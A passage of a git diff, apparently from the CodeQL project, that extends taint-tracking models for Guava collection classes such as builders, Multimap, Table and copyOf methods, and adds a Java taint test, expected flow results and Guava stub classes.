Map.Entry<? extends K,? extends V>> entries) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(K key, Iterable<? extends V> values) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(K key, V... values) - // @CanIgnoreReturnValue ImmutableMultimap.Builder<K,V> putAll(Multimap<? extends K,? extends V> multimap) - // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> put(R rowKey, C columnKey, V value) - // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> put(Table.Cell<? extends R,? extends C,? extends V> cell) - // @CanIgnoreReturnValue ImmutableTable.Builder<R,C,V> putAll(Table<? extends R,? extends C,? extends V> table) - this.hasName(["put", "putAll"]) and - argument = getNumberOfParameters() - 1 + this.getDeclaringType().getASourceSupertype*() instanceof ContainerBuilder and + ( + // abstract ImmutableCollection.Builder<E> add(E element) + // ImmutableCollection.Builder<E> add(E... elements) + // ImmutableCollection.Builder<E> addAll(Iterable<? extends E> elements) + // ImmutableCollection.Builder<E> addAll(Iterator<? extends E> elements) + // ImmutableMultiset.Builder<E> addCopies(E element, int occurrences) + // ImmutableMultiset.Builder<E> setCount(E element, int count) + this.hasName(["add", "addAll", "addCopies", "setCount"]) and + argument = 0 + or + // ImmutableMap.Builder<K,V> put(K key, V value) + // ImmutableMap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) + // ImmutableMap.Builder<K,V> putAll(Map<? extends K,? extends V> map) + // ImmutableMap.Builder<K,V> putAll(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // ImmutableMultimap.Builder<K,V> put(K key, V value) + // ImmutableMultimap.Builder<K,V> put(Map.Entry<? extends K,? extends V> entry) + // ImmutableMultimap.Builder<K,V> putAll(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) + // ImmutableMultimap.Builder<K,V> putAll(K key, Iterable<? extends V> values) + // ImmutableMultimap.Builder<K,V> putAll(K key, V... values) + // ImmutableMultimap.Builder<K,V> putAll(Multimap<? extends K,? extends V> multimap) + // ImmutableTable.Builder<R,C,V> put(R rowKey, C columnKey, V value) + // ImmutableTable.Builder<R,C,V> put(Table.Cell<? extends R,? extends C,? extends V> cell) + // ImmutableTable.Builder<R,C,V> putAll(Table<? extends R,? extends C,? extends V> table) + this.hasName(["put", "putAll"]) and + argument = getNumberOfParameters() - 1 + ) } override predicate returnsTaintFrom(int arg) { arg = [-1, argument] } @@ -78,11 +81,35 @@ private class BuilderAddMethod extends TaintPreservingCallable { override predicate transfersTaint(int src, int sink) { src = argument and sink = -1 } } +/** + * In a chained call `b.add(x).add(y).add(z)`, represents a flow step from the return value of + * this expression to the post update node of `b` (valid because the builder add methods return their qualifier). + * This is sufficient to express flow from `y` and `z` to `b`. + */ +private class ChainedBuilderAddStep extends AdditionalTaintStep { + override predicate step(DataFlow::Node src, DataFlow::Node sink) { + exists(MethodAccess ma | + ma.getMethod() instanceof BuilderAddMethod and + src.asExpr() = ma and + chainedBuilderMethod+(sink.(DataFlow::PostUpdateNode).getPreUpdateNode().asExpr()) = ma + ) + } +} + +private MethodAccess chainedBuilderMethod(Expr e) { + result.getQualifier() = e and + result.getMethod() instanceof BuilderAddMethod +} + /** * A reference type that extends a parameterization of `com.google.common.collect.Multimap`. */ class MultimapType extends RefType { - MultimapType() { this.getASourceSupertype*().hasQualifiedName(guavaCollectPackage(), "Multimap") } + MultimapType() { + this.getSourceDeclaration() + .getASourceSupertype*() + .hasQualifiedName(guavaCollectPackage(), "Multimap") + } /** Gets the type of keys stored in this map. */ RefType getKeyType() { @@ -102,10 +129,10 @@ class MultimapType extends RefType { private class MultimapWriteMethod extends TaintPreservingCallable { MultimapWriteMethod() { this.getDeclaringType() instanceof MultimapType and - // @CanIgnoreReturnValue boolean put(@Nullable K key, @Nullable V value) - // @CanIgnoreReturnValue boolean putAll(@Nullable K key, Iterable<? extends V> values) - // @CanIgnoreReturnValue boolean putAll(Multimap<? extends K,? extends V> multimap) - // @CanIgnoreReturnValue Collection<V> replaceValues(@Nullable K key, Iterable<? extends V> values) + // boolean put(K key, V value) + // boolean putAll(K key, Iterable<? extends V> values) + // boolean putAll(Multimap<? extends K,? extends V> multimap) + // Collection<V> replaceValues(K key, Iterable<? extends V> values) this.hasName(["put", "putAll", "replaceValues"]) } @@ -118,9 +145,9 @@ private class MultimapWriteMethod extends TaintPreservingCallable { private class MultimapReadMethod extends TaintPreservingCallable { MultimapReadMethod() { this.getDeclaringType() instanceof MultimapType and - // @CanIgnoreReturnValue Collection<V> replaceValues(@Nullable K key, Iterable<? extends V> values) - // @CanIgnoreReturnValue Collection<V> removeAll(@CompatibleWith("K") @Nullable Object key) - // Collection<V> get(@Nullable K key) + // Collection<V> replaceValues(K key, Iterable<? extends V> values) + // Collection<V> removeAll(@CompatibleWith("K") Object key) + // Collection<V> get(K key) // Collection<V> values() // Collection<Map.Entry<K,V>> entries() // Map<K,Collection<V>> asMap() @@ -136,7 +163,11 @@ private class MultimapReadMethod extends TaintPreservingCallable { * A reference type that extends a parameterization of `com.google.common.collect.Table`. */ class TableType extends RefType { - TableType() { this.getASourceSupertype*().hasQualifiedName(guavaCollectPackage(), "Table") } + TableType() { + this.getSourceDeclaration() + .getASourceSupertype*() + .hasQualifiedName(guavaCollectPackage(), "Table") + } /** Gets the type of row keys stored in this table. */ RefType getRowType() { @@ -145,7 +176,7 @@ class TableType extends RefType { ) } - /** Gets the type of row keys stored in this table. */ + /** Gets the type of column keys stored in this table. */ RefType getColumnType() { exists(GenericInterface table | table.hasQualifiedName(guavaCollectPackage(), "Table") | indirectlyInstantiates(this, table, 1, result) @@ -163,7 +194,7 @@ class TableType extends RefType { private class TableWriteMethod extends TaintPreservingCallable { TableWriteMethod() { this.getDeclaringType() instanceof TableType and - // @CanIgnoreReturnValue @Nullable V put(R rowKey, C columnKey, V value) + // V put(R rowKey, C columnKey, V value) // void putAll(Table<? extends R,? extends C,? extends V> table) this.hasName(["put", "putAll"]) } @@ -177,19 +208,18 @@ private class TableWriteMethod extends TaintPreservingCallable { private class TableReadMethod extends TaintPreservingCallable { TableReadMethod() { this.getDeclaringType() instanceof TableType and - // @CanIgnoreReturnValue @Nullable V put(R rowKey, C columnKey, V value) - // @CanIgnoreReturnValue @Nullable V remove(@CompatibleWith("R") @Nullable Object rowKey, @CompatibleWith("C") @Nullable Object columnKey) - // @Nullable V get(@CompatibleWith("R") @Nullable Object rowKey, @CompatibleWith("C") @Nullable Object columnKey) + // V put(R rowKey, C columnKey, V value) + // V remove(@CompatibleWith("R") Object rowKey, @CompatibleWith("C") Object columnKey) + // V get(@CompatibleWith("R") Object rowKey, @CompatibleWith("C") Object columnKey) // Map<C,V> row(R rowKey) // Map<R,V> column(C columnKey) // Set<Table.Cell<R,C,V>> cellSet() // Collection<V> values() // Map<R,Map<C,V>> rowMap() // Map<C,Map<R,V>> columnMap() - this - .hasName([ - "put", "remove", "get", "row", "column", "cellSet", "values", "rowMap", "columnMap" - ]) + this.hasName([ + "put", "remove", "get", "row", "column", "cellSet", "values", "rowMap", "columnMap" + ]) } override predicate returnsTaintFrom(int arg) { arg = -1 } @@ -202,8 +232,8 @@ private class TableCellReadMethod extends TaintPreservingCallable { exists(NestedType cell | cell.getEnclosingType() instanceof TableType and cell.hasName("Cell") and - this.getDeclaringType().getASourceSupertype*() = cell and - // @Nullable V getValue() + this.getDeclaringType().getSourceDeclaration().getASourceSupertype*() = cell and + // V getValue() this.hasName("getValue") ) } @@ -212,7 +242,7 @@ private class TableCellReadMethod extends TaintPreservingCallable { } /** - * An `of` static method on the various immutable collection types. + * An `of` static method on the various immutable container types. */ private class OfMethod extends TaintPreservingCallable { string kind; @@ -230,13 +260,17 @@ private class OfMethod extends TaintPreservingCallable { override predicate returnsTaintFrom(int arg) { arg = [0 .. getNumberOfParameters()] and - (kind.matches("%Map") implies arg % 2 = 1) and + (kind.regexpMatch(".*[Mm]ap") implies arg % 2 = 1) and (kind = "ImmutableTable" implies arg % 3 = 2) } } +private class ComparatorType extends RefType { + ComparatorType() { this.getASourceSupertype*().hasQualifiedName("java.util", "Comparator") } +} + /** - * A `copyOf` or `sortedCopyOf` static method on the varios immutable collection types. + * A `copyOf`, `sortedCopyOf`, or `copyOfSorted` static method on the various immutable container types. */ private class CopyOfMethod extends TaintPreservingCallable { CopyOfMethod() { @@ -251,12 +285,34 @@ private class CopyOfMethod extends TaintPreservingCallable { // static <K,V> ImmutableMap<K,V> copyOf(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) // static <K,V> ImmutableMultimap<K,V> copyOf(Multimap<? extends K,? extends V> multimap) // static <K,V> ImmutableMultimap<K,V> copyOf(Iterable<? extends Map.Entry<? extends K,? extends V>> entries) - // static <R,C,V> ImmutableTable<R,C,V> copyOf (Table<? extends R,? extends C,? extends V> table) - this.hasName(["copyOf", "sortedCopyOf"]) and + // static <R,C,V> ImmutableTable<R,C,V> copyOf(Table<? extends R,? extends C,? extends V> table) + // static <K, V> ImmutableSortedMap<K, V> copyOf(Map<? extends K, ? extends V> map) + // static <K, V> ImmutableSortedMap<K, V> copyOf(Map<? extends K, ? extends V> map, Comparator<? super K> comparator) + // static <K, V> ImmutableSortedMap<K, V> copyOfSorted(SortedMap<K, ? extends V> map) + // static <E> ImmutableSortedSet<E> copyOf(Iterator<? extends E> elements) + // static <E> ImmutableSortedSet<E> copyOf(Comparator<? super E> comparator, Iterator<? extends E> elements) + // static <E> ImmutableSortedSet<E> copyOfSorted(SortedSet<E> sortedSet) + // etc + this.hasName(["copyOf", "sortedCopyOf", "copyOfSorted"]) and this.isStatic() } - override predicate returnsTaintFrom(int arg) { arg = getNumberOfParameters() - 1 } + override predicate returnsTaintFrom(int arg) { + arg = [0 .. getNumberOfParameters()] and + not getParameterType(arg) instanceof ComparatorType + } +} + +private class CollectionAsListMethod extends TaintPreservingCallable { + CollectionAsListMethod() { + this.getDeclaringType() + .getASourceSupertype*() + .hasQualifiedName(guavaCollectPackage(), "ImmutableCollection") and + // public ImmutableList<E> asList() + this.hasName("asList") + } + + override predicate returnsTaintFrom(int arg) { arg = -1 } } /** @@ -272,7 +328,6 @@ private class SetsMethod extends TaintPreservingCallable { // static <E> HashSet<E> newHashSet(E... elements) // static <E> Set<E> newConcurrentHashSet(Iterable<? extends E> elements) // static <E> CopyOnWriteArraySet<E> newCopyOnWriteArraySet(Iterable<? extends E> elements) - // static <E extends Enum<E>>EnumSet<E> newEnumSet(Iterable<E> iterable, Class<E> elementType) // etc this.getName().matches("new%Set") and arg = 0 @@ -285,14 +340,13 @@ private class SetsMethod extends TaintPreservingCallable { // static <E> Set<E> filter(Set<E> unfiltered, Predicate<? super E> predicate) // static <E> SortedSet<E> filter(SortedSet<E> unfiltered, Predicate<? super E> predicate) // static <E> Set<Set<E>> powerSet(Set<E> set) - // static <K extends Comparable<? super K>> NavigableSet<K> + // static <K extends Comparable<? super K>> NavigableSet<K> subSet(NavigableSet<K> set, Range<K> range) // static <E> NavigableSet<E> synchronizedNavigableSet(NavigableSet<E> navigableSet) // static <E> NavigableSet<E> unmodifiableNavigableSet(NavigableSet<E> set) - this - .hasName([ - "cartesianProduct", "combinations", "difference", "filter", "powerSet", "subSet", - "synchronizedNavigableSet", "unmodifyableNavigableSet" - ]) and + this.hasName([ + "cartesianProduct", "combinations", "difference", "filter", "powerSet", "subSet", + "synchronizedNavigableSet", "unmodifyableNavigableSet" + ]) and arg = 0 or // static <E> Sets.SetView<E> symmetricDifference(Set<? extends E> set1, Set<? extends E> set2) diff --git a/java/ql/test/library-tests/frameworks/guava/TestCollect.java b/java/ql/test/library-tests/frameworks/guava/TestCollect.java new file mode 100644 index 00000000000..c5f01f2d2d1 --- /dev/null +++ b/java/ql/test/library-tests/frameworks/guava/TestCollect.java @@ -0,0 +1,122 @@ +package com.google.common.collect; + +import java.util.Map; +import java.util.SortedSet; +import java.util.SortedMap; +import java.util.Comparator; + +class TestCollect { + String taint() { return "tainted"; } + + void sink(Object o) {} + + void test1() { + String x = taint(); + + ImmutableSet<String> xs = ImmutableSet.of(x, "y", "z"); + sink(xs.asList()); + + ImmutableSet<String> ys = ImmutableSet.of("a", "b", "c"); + + sink(Sets.filter(Sets.union(xs, ys), y -> true)); + + sink(Sets.newHashSet("a", "b", "c", "d", x)); + } + + void test2() { + sink(ImmutableList.of(taint(), taint(), taint(), taint())); // expect 4 alerts + sink(ImmutableMap.of(taint(), taint(), taint(), taint())); // expect 2 alerts + sink(ImmutableMultimap.of(taint(), taint(), taint(), taint())); // expect 2 alerts + sink(ImmutableTable.of(taint(),taint(), taint())); // expect 1 alert + } + + void test3() { + String x = taint(); + + ImmutableList.Builder<String> b = ImmutableList.builder(); + + b.add("a"); + sink(b); + b.add(x); + sink(b.build()); + + b = ImmutableList.builder(); + + b.add("a").add(x); + sink(b.build()); + + sink(ImmutableList.builder().add("a").add(x).build()); + + ImmutableMap.Builder<String, String> b2 = ImmutableMap.builder(); + b2.put(x,"v"); + sink(b2); + b2.put("k",x); + sink(b2.build()); + } + + void test4(Table<String, String, String> t1, Table<String, String, String> t2, Table<String, String, String> t3) { + String x = taint(); + t1.put(x, "c", "v"); + sink(t1); + t1.put("r", x, "v"); + sink(t1); + t1.put("r", "c", x); + sink(t1); + sink(t1.row("r")); + + t2.putAll(t1); + for (Table.Cell<String,String,String> c : t2.cellSet()) { + sink(c.getValue()); + } + + sink(t1.remove("r", "c")); + + t3.row("r").put("c", x); + sink(t3); // Not detected + } + + void test4(Multimap<String, String> m1, Multimap<String, String> m2, Multimap<String, String> m3, + Multimap<String, String> m4, Multimap<String, String> m5){ + String x = taint(); + m1.put("k", x); + sink(m1); + sink(m1.get("k")); + + m2.putAll("k", ImmutableList.of("a", x, "b")); + sink(m2); + + m3.putAll(m1); + sink(m3); + + m4.replaceValues("k", m1.replaceValues("k", ImmutableList.of("a"))); + for (Map.Entry<String, String> e : m4.entries()) { + sink(e.getValue()); + } + + m5.asMap().get("k").add(x); + sink(m5); // Not detected + } + + void test5(Comparator<String> comp, SortedSet<String> sorS, SortedMap<String, String> sorM) { + ImmutableSortedSet<String> s = ImmutableSortedSet.of(taint()); + + sink(s); + sink(ImmutableSortedSet.copyOf(s)); + sink(ImmutableSortedSet.copyOf(comp, s)); + + sorS.add(taint()); + sink(ImmutableSortedSet.copyOfSorted(sorS)); + + sink(ImmutableList.sortedCopyOf(s)); + sink(ImmutableList.sortedCopyOf(comp, s)); + + ImmutableSortedMap<String, String> m = ImmutableSortedMap.of("k", taint()); + + sink(m); + sink(ImmutableSortedMap.copyOf(m)); + sink(ImmutableSortedMap.copyOf(m, comp)); + + sorM.put("k", taint()); + sink(ImmutableSortedMap.copyOfSorted(sorM)); + } +} \ No newline at end of file diff --git a/java/ql/test/library-tests/frameworks/guava/Test.java b/java/ql/test/library-tests/frameworks/guava/TestStrings.java similarity index 98% rename from java/ql/test/library-tests/frameworks/guava/Test.java rename to java/ql/test/library-tests/frameworks/guava/TestStrings.java index da64ea30083..e85cb0bc965 100644 --- a/java/ql/test/library-tests/frameworks/guava/Test.java +++ b/java/ql/test/library-tests/frameworks/guava/TestStrings.java @@ -6,7 +6,7 @@ import com.google.common.base.Joiner; import java.util.Map; import java.util.HashMap; -class Test { +class TestStrings { String taint() { return "tainted"; } void sink(Object o) {} diff --git a/java/ql/test/library-tests/frameworks/guava/flow.expected b/java/ql/test/library-tests/frameworks/guava/flow.expected index 809dcfd6f84..52276485cf9 100644 --- a/java/ql/test/library-tests/frameworks/guava/flow.expected +++ b/java/ql/test/library-tests/frameworks/guava/flow.expected @@ -1,17 +1,52 @@ -| Test.java:15:20:15:26 | taint(...) | Test.java:17:14:17:41 | padStart(...) | -| Test.java:15:20:15:26 | taint(...) | Test.java:18:14:18:39 | padEnd(...) | -| Test.java:15:20:15:26 | taint(...) | Test.java:19:14:19:33 | repeat(...) | -| Test.java:15:20:15:26 | taint(...) | Test.java:20:14:20:56 | emptyToNull(...) | -| Test.java:15:20:15:26 | taint(...) | Test.java:21:14:21:40 | lenientFormat(...) | -| Test.java:15:20:15:26 | taint(...) | Test.java:24:14:24:51 | lenientFormat(...) | -| Test.java:28:20:28:26 | taint(...) | Test.java:32:14:32:23 | split(...) | -| Test.java:28:20:28:26 | taint(...) | Test.java:33:14:33:29 | splitToList(...) | -| Test.java:28:20:28:26 | taint(...) | Test.java:35:14:35:50 | split(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:46:14:46:54 | appendTo(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:47:14:47:26 | toString(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:48:14:48:51 | appendTo(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:49:14:49:26 | toString(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:52:14:52:42 | appendTo(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:57:14:57:56 | join(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:58:14:58:82 | join(...) | -| Test.java:39:20:39:26 | taint(...) | Test.java:60:14:60:58 | join(...) | +| TestCollect.java:14:20:14:26 | taint(...) | TestCollect.java:17:14:17:24 | asList(...) | +| TestCollect.java:14:20:14:26 | taint(...) | TestCollect.java:21:14:21:55 | filter(...) | +| TestCollect.java:14:20:14:26 | taint(...) | TestCollect.java:23:14:23:51 | newHashSet(...) | +| TestCollect.java:27:31:27:37 | taint(...) | TestCollect.java:27:14:27:65 | of(...) | +| TestCollect.java:27:40:27:46 | taint(...) | TestCollect.java:27:14:27:65 | of(...) | +| TestCollect.java:27:49:27:55 | taint(...) | TestCollect.java:27:14:27:65 | of(...) | +| TestCollect.java:27:58:27:64 | taint(...) | TestCollect.java:27:14:27:65 | of(...) | +| TestCollect.java:28:39:28:45 | taint(...) | TestCollect.java:28:14:28:64 | of(...) | +| TestCollect.java:28:57:28:63 | taint(...) | TestCollect.java:28:14:28:64 | of(...) | +| TestCollect.java:29:44:29:50 | taint(...) | TestCollect.java:29:14:29:69 | of(...) | +| TestCollect.java:29:62:29:68 | taint(...) | TestCollect.java:29:14:29:69 | of(...) | +| TestCollect.java:30:49:30:55 | taint(...) | TestCollect.java:30:14:30:56 | of(...) | +| TestCollect.java:34:20:34:26 | taint(...) | TestCollect.java:41:14:41:22 | build(...) | +| TestCollect.java:34:20:34:26 | taint(...) | TestCollect.java:46:14:46:22 | build(...) | +| TestCollect.java:34:20:34:26 | taint(...) | TestCollect.java:48:14:48:60 | build(...) | +| TestCollect.java:34:20:34:26 | taint(...) | TestCollect.java:54:14:54:23 | build(...) | +| TestCollect.java:58:20:58:26 | taint(...) | TestCollect.java:64:14:64:15 | t1 | +| TestCollect.java:58:20:58:26 | taint(...) | TestCollect.java:65:14:65:24 | row(...) | +| TestCollect.java:58:20:58:26 | taint(...) | TestCollect.java:69:18:69:29 | getValue(...) | +| TestCollect.java:58:20:58:26 | taint(...) | TestCollect.java:72:14:72:32 | remove(...) | +| TestCollect.java:80:20:80:26 | taint(...) | TestCollect.java:82:14:82:15 | m1 | +| TestCollect.java:80:20:80:26 | taint(...) | TestCollect.java:83:14:83:24 | get(...) | +| TestCollect.java:80:20:80:26 | taint(...) | TestCollect.java:86:14:86:15 | m2 | +| TestCollect.java:80:20:80:26 | taint(...) | TestCollect.java:89:14:89:15 | m3 | +| TestCollect.java:80:20:80:26 | taint(...) | TestCollect.java:93:18:93:29 | getValue(...) | +| TestCollect.java:101:62:101:68 | taint(...) | TestCollect.java:103:14:103:14 | s | +| TestCollect.java:101:62:101:68 | taint(...) | TestCollect.java:104:14:104:41 | copyOf(...) | +| TestCollect.java:101:62:101:68 | taint(...) | TestCollect.java:105:14:105:47 | copyOf(...) | +| TestCollect.java:101:62:101:68 | taint(...) | TestCollect.java:110:14:110:42 | sortedCopyOf(...) | +| TestCollect.java:101:62:101:68 | taint(...) | TestCollect.java:111:14:111:48 | sortedCopyOf(...) | +| TestCollect.java:107:18:107:24 | taint(...) | TestCollect.java:108:14:108:50 | copyOfSorted(...) | +| TestCollect.java:113:75:113:81 | taint(...) | TestCollect.java:115:14:115:14 | m | +| TestCollect.java:113:75:113:81 | taint(...) | TestCollect.java:116:14:116:41 | copyOf(...) | +| TestCollect.java:113:75:113:81 | taint(...) | TestCollect.java:117:14:117:47 | copyOf(...) | +| TestCollect.java:119:23:119:29 | taint(...) | TestCollect.java:120:14:120:50 | copyOfSorted(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:17:14:17:41 | padStart(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:18:14:18:39 | padEnd(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:19:14:19:33 | repeat(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:20:14:20:56 | emptyToNull(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:21:14:21:40 | lenientFormat(...) | +| TestStrings.java:15:20:15:26 | taint(...) | TestStrings.java:24:14:24:51 | lenientFormat(...) | +| TestStrings.java:28:20:28:26 | taint(...) | TestStrings.java:32:14:32:23 | split(...) | +| TestStrings.java:28:20:28:26 | taint(...) | TestStrings.java:33:14:33:29 | splitToList(...) | +| TestStrings.java:28:20:28:26 | taint(...) | TestStrings.java:35:14:35:50 | split(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:46:14:46:54 | appendTo(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:47:14:47:26 | toString(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:48:14:48:51 | appendTo(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:49:14:49:26 | toString(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:52:14:52:42 | appendTo(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:57:14:57:56 | join(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:58:14:58:82 | join(...) | +| TestStrings.java:39:20:39:26 | taint(...) | TestStrings.java:60:14:60:58 | join(...) | diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java b/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java index 379ff766dbc..521b6a605a5 100644 --- a/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java +++ b/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java @@ -25,7 +25,7 @@ public final class Splitter { } public Splitter omitEmptyStrings() { - return null;; + return null; } public Iterable<String> split(final CharSequence sequence) { diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractMultimap.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractMultimap.java new file mode 100644 index 00000000000..0b9120bfd8b --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractMultimap.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2012 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +abstract class AbstractMultimap<K, V> implements Multimap<K, V> { + @Override + public boolean isEmpty() { + return false; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public boolean containsEntry(Object key, Object value) { + return false; + } + + @Override + public boolean remove(Object key, Object value) { + return false; + } + + @Override + public boolean put(K key, V value) { + return false; + } + + @Override + public boolean putAll(K key, Iterable<? extends V> values) { + return false; + } + + @Override + public boolean putAll(Multimap<? extends K, ? extends V> multimap) { + return false; + } + + @Override + public Collection<V> replaceValues(K key, Iterable<? extends V> values) { + return null; + } + + @Override + public Collection<Entry<K, V>> entries() { + return null; + } + + @Override + public Set<K> keySet() { + return null; + } + + @Override + public Multiset<K> keys() { + return null; + } + + @Override + public Collection<V> values() { + return null; + } + + @Override + public Map<K, Collection<V>> asMap() { + return null; + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractTable.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractTable.java new file mode 100644 index 00000000000..9003783bab9 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/AbstractTable.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2013 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except + * in compliance with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software distributed under the License + * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express + * or implied. See the License for the specific language governing permissions and limitations under + * the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Map; +import java.util.Set; + +abstract class AbstractTable<R, C, V> implements Table<R, C, V> { + @Override + public boolean containsRow(Object rowKey) { + return false; + } + + @Override + public boolean containsColumn(Object columnKey) { + return false; + } + + @Override + public Set<R> rowKeySet() { + return null; + } + + @Override + public Set<C> columnKeySet() { + return null; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public boolean contains(Object rowKey, Object columnKey) { + return false; + } + + @Override + public V get(Object rowKey, Object columnKey) { + return null; + } + + @Override + public boolean isEmpty() { + return false; + } + + @Override + public void clear() { + } + + @Override + public V remove(Object rowKey, Object columnKey) { + return null; + } + + @Override + public V put(R rowKey, C columnKey, V value) { + return null; + } + + @Override + public void putAll(Table<? extends R, ? extends C, ? extends V> table) { + } + + @Override + public Set<Cell<R, C, V>> cellSet() { + return null; + } + + @Override + public Collection<V> values() { + return null; + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableCollection.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableCollection.java new file mode 100644 index 00000000000..670016cdab6 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableCollection.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.io.Serializable; +import java.util.AbstractCollection; +import java.util.Collection; +import java.util.Iterator; + +public abstract class ImmutableCollection<E> extends AbstractCollection<E> implements Serializable { + ImmutableCollection() {} + + public ImmutableList<E> asList() { + return null; + } + + public abstract static class Builder<E> { + Builder() {} + + public abstract Builder<E> add(E element); + + public Builder<E> add(E... elements) { + return null; + } + + public Builder<E> addAll(Iterable<? extends E> elements) { + return null; + } + + public Builder<E> addAll(Iterator<? extends E> elements) { + return null; + } + + public abstract ImmutableCollection<E> build(); + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableList.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableList.java new file mode 100644 index 00000000000..3e4fcf39d0a --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableList.java @@ -0,0 +1,101 @@ +/* + * Copyright (C) 2007 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.Iterator; +import java.util.List; + +public abstract class ImmutableList<E> extends ImmutableCollection<E> + implements List<E>{ + + public static <E> ImmutableList<E> of() { + return null; + } + + public static <E> ImmutableList<E> of(E element) { + return null; + } + + public static <E> ImmutableList<E> of(E e1, E e2) { + return null; + } + + public static <E> ImmutableList<E> of(E e1, E e2, E e3) { + return null; + } + + public static <E> ImmutableList<E> of(E e1, E e2, E e3, E e4) { + return null; + } + + public static <E> ImmutableList<E> of( + E e1, E e2, E e3, E e4, E e5, E e6, E e7, E e8, E e9, E e10, E e11, E e12, E... others) { + return null; + } + + public static <E> ImmutableList<E> copyOf(Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableList<E> copyOf(Collection<? extends E> elements) { + return null; + } + + public static <E> ImmutableList<E> copyOf(Iterator<? extends E> elements) { + return null; + } + + public static <E> ImmutableList<E> copyOf(E[] elements) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableList<E> sortedCopyOf( + Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableList<E> sortedCopyOf( + Comparator<? super E> comparator, Iterable<? extends E> elements) { + return null; + } + + ImmutableList() {} + + public ImmutableList<E> reverse() { + return null; + } + + public static <E> Builder<E> builder() { + return null; + } + + public static final class Builder<E> extends ImmutableCollection.Builder<E> { + @Override + public Builder<E> add(E element) { + return null; + } + + @Override + public ImmutableList<E> build() { + return null; + } + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMap.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMap.java new file mode 100644 